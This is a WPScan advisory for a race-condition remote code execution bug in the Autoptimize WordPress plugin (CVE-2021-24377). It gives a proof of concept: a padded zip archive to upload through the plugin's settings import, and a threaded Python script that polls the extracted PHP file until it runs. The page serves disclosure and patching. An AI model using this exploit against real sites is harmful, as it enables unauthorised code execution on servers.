WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Autoptimize < 2.7.8 - Race Condition leading to RCE

Description

The plugin attempts to remove potential malicious files from the extracted archive uploaded via the 'Import Settings' feature, however this is not sufficient to protect against RCE as a race condition can be achieved in between the moment the file is extracted on the disk but not yet removed. It is a bypass of CVE-2020-24948.

Proof of Concept

To increase the period between extraction of a file and its removal I added another, bigger file to the archive. In fact it was a 4MB list of passwords. This results in having more time between extraction of first (test.php) and second (zzz.txt) files, so that test.php is available for more time.

Exemplary file to use as a second file (zzz.txt) could be for example: https://gitlab.com/kalilinux/packages/seclists/blob/0aab3b70769ed9faf79b3c1159fb32ef131c7ee6/Passwords/xato-net-10-million-passwords-dup.txt 

The structure of an archive is as presented:
$ zip -sf upload.zip
Archive contains:
  settings.json
  test.php
  zzz.txt
Total 3 entries (4366552 bytes)

settings.json is an empty file.

Python Script for Race Condition:
#!/usr/bin/python

import requests
from threading import Thread

def requestor(name):
    while True:
        response = requests.get('http://my_address_here/wp/wp-content/uploads/ao_ccss/test.php')
        if 'PHP Version' in response.text:
            print(name + " Race condition succeeded.")
            # print(response.text)
            exit()

threads = []
for i in range(0, 5):
    t = Thread(target=requestor, args=("Thread-"+str(i), ))
    t.start()
    threads.append(t)

for t in threads:
    t.join()

Steps to reproduce the vulnerability:
Run the script:
python3 racecondition.php
Upload zip archive using upload here: http://my_address_here/wp/wp-admin/options-general.php?page=ao_critcss
The script should give an output similar to this one:
Thread-4 Race condition succeeded.

In my case, race condition almost always succeed on remote host. 

Affects Plugins

autoptimize
Fixed in version 2.7.8

References

CVE
CVE-2021-24377

Classification

Type

RCE

OWASP top 10
A1: Injection
CWE
CWE-94

Miscellaneous

Original Researcher

Marcin Węgłowski

Submitter

Marcin Węgłowski

Submitter website
https://afine.pl
Submitter twitter
afinepl
Verified

Yes

WPVDB ID
85c0a564-2e56-413d-bc3a-1039343207e4

Timeline

Publicly Published

2020-10-09 (about 2 years ago)

Added

2021-06-07 (about 1 years ago)

Last Updated

2021-06-25 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us